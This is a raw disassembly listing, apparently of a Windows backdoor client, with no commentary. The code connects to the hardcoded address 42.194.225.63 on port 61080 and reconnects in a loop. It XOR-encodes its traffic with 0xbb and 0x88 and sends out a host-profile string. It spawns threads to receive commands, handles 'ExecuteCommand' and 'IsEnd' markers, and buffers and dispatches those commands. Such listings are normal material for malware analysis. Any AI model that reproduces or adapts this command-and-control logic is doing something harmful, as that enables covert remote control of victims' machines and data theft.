lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413b48
sub eax, edx
mov edx, dword [ebp - 0x18b4c]
mov edi, eax
lea ebx, [edi + 1]
push ebx
mov dword [ebp - 0x18b54], edx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
jne 0x413b89
mov ecx, dword [ebp - 0x18b54]
push esi
push edi
push esi
push ecx
jmp 0x413c44
push edi
lea eax, [ebp - 0x11c]
push eax
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x413ba9
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x413ba0
mov ecx, dword [ebp - 0x18b54]
push 0
push edi
push esi
push ecx
jmp 0x413c44
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp - 0x1e4]
push str._ExecuteCommand
push edx
call fcn.0041c484
lea eax, [ebp - 0x1e4]
add esp, 0xc
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413be0
sub eax, edx
mov edi, eax
mov eax, dword [ebp - 0x18b4c]
lea ebx, [edi + 1]
push ebx
mov dword [ebp - 0x18b54], eax
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
je 0x413c39
push edi
lea ecx, [ebp - 0x1e4]
push ecx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x413c39
lea esp, [esp]
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x413c30
mov edx, dword [ebp - 0x18b54]
push 0
push edi
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, str.42.194.225.63
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413c52
sub eax, edx
mov esi, eax
xor eax, eax
test esi, esi
jle 0x413c85
mov ecx, 0x44c94f
jmp 0x413c70
mov dl, byte [eax + str.42.194.225.63]
mov byte [ecx], dl
inc eax
add ecx, 5
cmp eax, esi
jl 0x413c70
cmp eax, 0xf
jg 0x413c9d
lea eax, [eax + eax*4 + 0x44c94f]
lea esp, [esp]
mov byte [eax], 0
add eax, 5
cmp eax, 0x44c99a
jle 0x413c90
cmp dword [0x45f53c], 0
jne 0x413cc9
push 0x3200000
call fcn.0041c606
add esp, 4
mov dword [0x45f53c], eax
test eax, eax
jne 0x413cc9
push 0x43dd98
call fcn.0041cb2c
add esp, 4
push 0x2800
lea eax, [ebp - 0x2de4]
push 0
push eax
call fcn.00421fd0
add esp, 0xc
nop
mov ecx, dword [0x45f53c]
push 0x3200000
push 0
push ecx
call fcn.00421fd0
mov dword [ebp - 0x18b58], 0
add esp, 0xc
xor ebx, ebx
mov eax, dword [ebp - 0x18b4c]
push ebx
push 0x2800
lea edx, [ebp - 0x2de4]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4140ce
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18b4c], eax
cmp eax, edi
je 0x413d02
push 0xa
mov ecx, 2
push ebx
push str.61080
mov word [ebp - 0x3c], cx
call fcn.0041c977
movzx eax, ax
add esp, 0xc
push eax
call dword [sym.imp.WS2_32.dll_htons]
push str.42.194.225.63
mov word [ebp - 0x3a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x10
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18b4c]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [ebp - 0x18b4c]
push ebx
push 1
lea ecx, [ebp - 0x18b5c]
push ecx
push edx
mov word [ebp - 0x18b5c], 0x31
call dword [sym.imp.WS2_32.dll_send]
lea eax, [ebp - 0x18ba4]
push eax
call fcn.0041c433
lea ecx, [ebp - 0x18ba4]
push ecx
call fcn.0041c40c
push eax
push str._m__d__H:_M:_S
lea edx, [ebp - 0x18930]
push 0x14
push edx
call fcn.0041e056
lea eax, [ebp - 0x18930]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x413de8
sub eax, ecx
inc eax
push eax
call fcn.0041c606
add esp, 4
cmp eax, ebx
jne 0x413e07
mov dword [ebp - 0x18b60], ebx
jmp 0x413e23
lea ecx, [ebp - 0x18930]
mov esi, eax
mov edx, ecx
sub esi, edx
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x413e13
mov dword [ebp - 0x18b60], eax
mov eax, dword [ebp - 0x18b64]
mov ecx, str.0.0.0.0
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x413e50
test dl, dl
je 0x413e4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x413e50
add eax, 2
add ecx, 2
test dl, dl
jne 0x413e30
xor eax, eax
jmp 0x413e55
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x413e64
call fcn.00405690
mov dword [ebp - 0x18b64], eax
cmp dword [ebp + 8], 1
jle 0x413f2c
mov edi, dword [ebp + 8]
xor esi, esi
lea ecx, [esi + 1]
cmp edi, ecx
jle 0x413ea2
lea ebx, [ebx]
mov eax, dword [ebp - 0x18b6c]
mov eax, dword [eax + ecx*4]
lea ebx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x413e90
sub eax, ebx
inc ecx
lea esi, [esi + eax + 1]
cmp ecx, edi
jl 0x413e80
push esi
call fcn.0041c606
add esp, 4
mov dword [0x443b84], eax
test eax, eax
jne 0x413ec0
mov dword [0x443b84], 0x439650
jmp 0x413f2c
mov ebx, 1
mov byte [eax], 0
cmp edi, ebx
jle 0x413f2c
cmp ebx, 1
jle 0x413eea
mov edi, dword [0x443b84]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x413ed8
mov cx, word [0x43ace4]
mov word [edi], cx
mov edx, dword [ebp - 0x18b6c]
mov ecx, dword [edx + ebx*4]
mov edx, ecx
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ef5
mov edi, dword [0x443b84]
sub ecx, edx
mov esi, edx
mov edx, ecx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x413f10
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
cmp ebx, dword [ebp + 8]
jl 0x413ecc
call fcn.00405aa0
mov esi, eax
test esi, esi
jne 0x413f3c
mov esi, 0x439650
push 0x439d94
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x413f59
mov eax, 0x31
mov word [0x45f410], ax
jmp 0x413f65
mov ecx, 0x30
mov word [0x45f410], cx
push 0x43a980
push 0x45f410
push 0x43aec4
push esi
mov edx, dword [0x443b84]
push 0x43aec4
push edx
push 0x43aec4
mov edx, dword [ebp - 0x18b9c]
lea eax, [ebp - 0x20]
push eax
push 0x43aec4
mov eax, dword [ebp - 0x18b88]
lea ecx, [ebp - 0x2c]
push ecx
push 0x43aec4
push str.None
mov ecx, dword [ebp - 0x18b8c]
push 0x43aec4
push edx
mov edx, dword [ebp - 0x18b60]
push 0x43aec4
push eax
mov eax, dword [ebp - 0x18b98]
push 0x43aec4
push ecx
mov ecx, dword [ebp - 0x18b94]
push 0x43aec4
push edx
mov edx, dword [ebp - 0x18b70]
push 0x43aec4
push eax
mov eax, dword [ebp - 0x18b90]
push 0x43aec4
push ecx
mov ecx, dword [ebp - 0x18b84]
push 0x43aec4
push edx
mov edx, dword [ebp - 0x18b64]
push 0x43aec4
push eax
mov eax, dword [ebp - 0x18b50]
push 0x43aec4
push ecx
push 0x43aec4
push edx
push 0x43aec4
push str.0.0.0.0
push 0x43aec4
push eax
push 0x43be54
push 0x25
call fcn.00402eb0
mov esi, eax
add esp, 0x98
test esi, esi
je 0x4140aa
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414046
mov ecx, dword [ebp - 0x18b4c]
sub eax, edx
mov ebx, eax
lea eax, [ebx + 1]
push eax
mov dword [ebp - 0x18b54], ecx
call fcn.0041c606
mov edi, eax
lea eax, [ebx + 1]
push eax
push 0
push edi
call fcn.00421fd0
add esp, 0x10
test edi, edi
je 0x414099
push ebx
push esi
push edi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test ebx, ebx
je 0x414099
lea esp, [esp]
xor byte [eax + edi], 0xbb
inc eax
cmp eax, ebx
jb 0x414090
mov edx, dword [ebp - 0x18b54]
push 0
push ebx
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0x18b4c]
lea eax, [ebp - 0x18958]
push eax
push 0
push ecx
push 0x4126a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x413d00
cmp edi, ebx
je 0x4142fc
jle 0x413d02
xor eax, eax
cmp edi, ebx
jle 0x4140ef
xor byte [ebp + eax - 0x2de4], 0x88
inc eax
cmp eax, edi
jl 0x4140e2
push 5
mov esi, 0xf
push str.IsEnd
lea ecx, [ebp - 0x1899c]
mov byte [ebp + edi - 0x2de4], 0
mov dword [ebp - 0x18988], esi
mov dword [ebp - 0x1898c], ebx
mov byte [ebp - 0x1899c], 0
call fcn.00417270
mov dword [ebp - 4], 0xb
lea eax, [ebp - 0x2de4]
mov dword [ebp - 0x18924], esi
mov dword [ebp - 0x18928], ebx
mov byte [ebp - 0x18938], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414144
sub eax, edx
push eax
lea edx, [ebp - 0x2de4]
push edx
lea ecx, [ebp - 0x18938]
call fcn.00417270
mov byte [ebp - 4], 0xc
mov esi, dword [ebp - 0x18928]
mov eax, dword [ebp - 0x1898c]
cmp esi, eax
jae 0x41417b
xor bl, bl
jmp 0x41427a
mov edx, esi
sub edx, eax
mov dword [ebp - 0x18b60], 0xffffffff
cmp eax, 0xffffffff
jae 0x414194
mov dword [ebp - 0x18b60], eax
cmp dword [ebp - 0x18988], 0x10
mov ecx, dword [ebp - 0x1899c]
jae 0x4141a9
lea ecx, [ebp - 0x1899c]
mov ebx, eax
mov dword [ebp - 0x18b68], ebx
cmp esi, edx
jb 0x412e0d
sub esi, edx
cmp esi, eax
jae 0x4141c7
mov ebx, esi
mov dword [ebp - 0x18b68], esi
mov esi, dword [ebp - 0x18b60]
cmp ebx, esi
jae 0x4141d3
mov esi, ebx
cmp dword [ebp - 0x18924], 0x10
mov eax, dword [ebp - 0x18938]
jae 0x4141e8
lea eax, [ebp - 0x18938]
add edx, eax
cmp esi, 4
jb 0x414204
nop
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x414208
sub esi, 4
add ecx, 4
add edx, 4
cmp esi, 4
jae 0x4141f0
test esi, esi
je 0x414257
movzx ebx, byte [ecx]
movzx eax, byte [edx]
sub eax, ebx
jne 0x414243
cmp esi, 1
jbe 0x414251
movzx eax, byte [edx + 1]
movzx ebx, byte [ecx + 1]
sub eax, ebx
jne 0x414243
cmp esi, 2
jbe 0x414251
movzx eax, byte [edx + 2]
movzx ebx, byte [ecx + 2]
sub eax, ebx
jne 0x414243
cmp esi, 3
jbe 0x414251
movzx eax, byte [edx + 3]
movzx ecx, byte [ecx + 3]
sub eax, ecx
mov ebx, dword [ebp - 0x18b68]
sar eax, 0x1f
or eax, 1
jmp 0x414259
mov ebx, dword [ebp - 0x18b68]
xor eax, eax
test eax, eax
jne 0x414277
mov eax, dword [ebp - 0x18b60]
cmp ebx, eax
jae 0x41426c
or eax, 0xffffffff
jmp 0x414275
xor edx, edx
cmp ebx, eax
setne dl
mov eax, edx
test eax, eax
sete bl
mov esi, 0x10
cmp dword [ebp - 0x18924], esi
jb 0x414296
mov eax, dword [ebp - 0x18938]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18924], 0xf
mov dword [ebp - 0x18928], 0
mov byte [ebp - 0x18938], 0
cmp dword [ebp - 0x18988], esi
jb 0x4142cf
mov ecx, dword [ebp - 0x1899c]
push ecx
call fcn.0041bbe0
add esp, 4
push edi
lea edx, [ebp - 0x2de4]
push edx
test bl, bl
jne 0x414319
mov eax, dword [0x45f53c]
mov esi, dword [ebp - 0x18b58]
lea ecx, [esi + eax]
push ecx
call fcn.00420fc0
add esi, edi
mov dword [ebp - 0x18b58], esi
jmp 0x413cfd
push str.Server_disconnected_n
call fcn.0041cb2c
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413ce0
mov ecx, dword [ebp - 0x18b58]
add ecx, dword [0x45f53c]
push ecx
call fcn.00420fc0
add esp, 0xc
xor ebx, ebx
push 5
mov edi, 0xf
push str.IsEnd
lea ecx, [ebp - 0x18980]
mov dword [ebp - 0x1896c], edi
mov dword [ebp - 0x18970], ebx
mov byte [ebp - 0x18980], bl
call fcn.00417270
mov dword [ebp - 4], 0xd
mov ecx, dword [0x45f53c]
mov eax, ecx
mov dword [ebp - 0x189a4], edi
mov dword [ebp - 0x189a8], ebx
mov byte [ebp - 0x189b8], bl
lea esi, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x414380
sub eax, esi
push eax
push ecx
lea ecx, [ebp - 0x189b8]
call fcn.00417270
lea edx, [ebp - 0x18980]
push edx
lea edx, [ebp - 0x189b8]
lea ecx, [ebp - 0x18b80]
mov byte [ebp - 4], 0xe
call fcn.004060a0
add esp, 4
mov esi, 0x10
cmp dword [ebp - 0x189a4], esi
jb 0x4143d1
mov eax, dword [ebp - 0x189b8]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 0x189a4], edi
mov dword [ebp - 0x189a8], ebx
mov byte [ebp - 0x189b8], 0
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x1896c], esi
jb 0x4143ff
mov ecx, dword [ebp - 0x18980]
push ecx
call fcn.0041bbe0
add esp, 4
mov eax, dword [ebp - 0x18b7c]
mov esi, dword [ebp - 0x18b80]
lea ecx, [eax - 0x1c]
mov dword [ebp - 0x1896c], edi
mov dword [ebp - 0x18970], ebx
mov byte [ebp - 0x18980], 0
cmp esi, ecx
je 0x41445e
cmp dword [esi + 0x14], 0x10
jb 0x41442f
mov eax, dword [esi]
jmp 0x414431
mov eax, esi
push eax
call fcn.004305ff
mov edx, dword [ebp - 0x18b4c]
push edx
mov ecx, eax
call fcn.0040ff90
mov eax, dword [ebp - 0x18b7c]
add esi, 0x1c
lea ecx, [eax - 0x1c]
add esp, 8
cmp esi, ecx
jne 0x414425
mov esi, dword [ebp - 0x18b80]
mov dword [ebp - 4], 0xffffffff
cmp esi, ebx
je 0x4144a6
mov edi, eax
cmp esi, eax
je 0x41449b
xor ebx, ebx
cmp dword [esi + 0x14], 0x10
jb 0x414482
mov eax, dword [esi]
push eax
call fcn.0041bbe0
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
add esi, 0x1c
cmp esi, edi
jne 0x414471
mov esi, dword [ebp - 0x18b80]
push esi
call fcn.0041bbe0
add esp, 4
xor ebx, ebx
mov dword [ebp - 0x18b80], ebx
mov dword [ebp - 0x18b7c], ebx
mov dword [ebp - 0x18b78], ebx
jmp 0x413ce0